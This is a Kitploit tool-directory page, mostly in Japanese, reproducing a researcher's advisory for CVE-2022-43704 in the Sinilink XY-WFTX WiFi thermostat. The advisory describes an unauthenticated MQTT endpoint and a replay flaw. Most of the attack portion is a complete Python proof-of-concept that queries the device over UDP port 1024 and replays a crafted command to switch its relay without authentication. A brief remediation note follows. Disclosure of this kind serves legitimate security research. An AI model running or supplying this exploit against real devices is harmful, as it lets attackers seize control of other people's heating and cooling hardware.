Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-43704 — Sinilink XY-WFTX WiFiリモートサーモスタットモジュール温度コントローラー | Kitploit
ツール/GitHubGitHub/9lyph/cve-2022-43704
認証と認可組み込みシステムセキュリティパケットスニッフィングと分析偵察IoTセキュリティ脆弱性分析エクスプロイトワイヤレスセキュリティペネトレーションテストハードウェアとIoTセキュリティ
GitHub9lyph/cve-2022-43704

CVE-2022-43704

521年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Sinilink XY-WFTX WiFiリモートサーモスタットモジュール温度コントローラー

リポジトリを見る

CVE-2022-43704 - 非エンドポイントからのチャネルアクセス可能/キャプチャリプレイによる認証バイパス

Sinilink XY-WFTX WiFiリモートサーモスタットモジュール 温度コントローラ

タイトル

sinilink

製品ドキュメント

  • アプリケーション

  • ユーザーマニュアル

ハードウェア

データシート

ESP8285

バックコンバータ

ファームウェア

製品説明

root@kitploit:~
Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

参照

MITRE

[Exploit-DB]

製造元

Sinilink.com

研究

  • 製品はWebSocketを使用して ws://mq.sinilink.com:8085/mqtt への通信をセットアップします。
  • このエンドポイントはMQTTブローカーとして利用され、認証がありません。

攻撃対象領域マップ

発見

非エンドポイントからのチャネルアクセス可能

  • ファームウェアV1.3.6を実行しているSinilink WiFiリモートサーモスタットは、攻撃者がMQTTを使用して通信するという意図された要件をバイパスし、代わりにターゲットデバイスと直接インターフェースしてsinilinkプロトコルコマンドをリプレイすることを可能にします。これにより、モバイルアプリケーションを介した認証を必要とせずに、オンボードリレーを制御する攻撃が可能になります。
  • ターゲットデバイスは前提条件として「手動モード」で「電源オン、閉」の状態である必要があります。

前提条件の設定

脆弱性の種類

  • CWE-300: 非エンドポイントからのチャネルアクセス可能
  • CWE-294: キャプチャリプレイによる認証バイパス

既知の影響を受けるソフトウェア構成

  • V1.3.6

PoCコード

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

修正手順

  • 通信チャネルの両端におけるエンティティのアイデンティティを適切に検証すること。不十分または一貫性のない検証は、通信するいずれかのエンティティの識別が不十分または不正確になる可能性があります。これにより、チャネルのもう一方の端にあるエンティティに対する誤った信頼など、悪影響を及ぼす可能性があります。攻撃者は、通信エンティティの間に割り込み、元のエンティティを装うことでこれを悪用する可能性があります。十分なアイデンティティ検証がない場合、このような攻撃者は盗聴し、元のエンティティ間の通信を変更する可能性があります。

Pwnage

発見者/クレジット:

Exploit SecurityのVictor Hanna

フォローはこちら

Mastodon Linkedin Youtube

ツールをダウンロード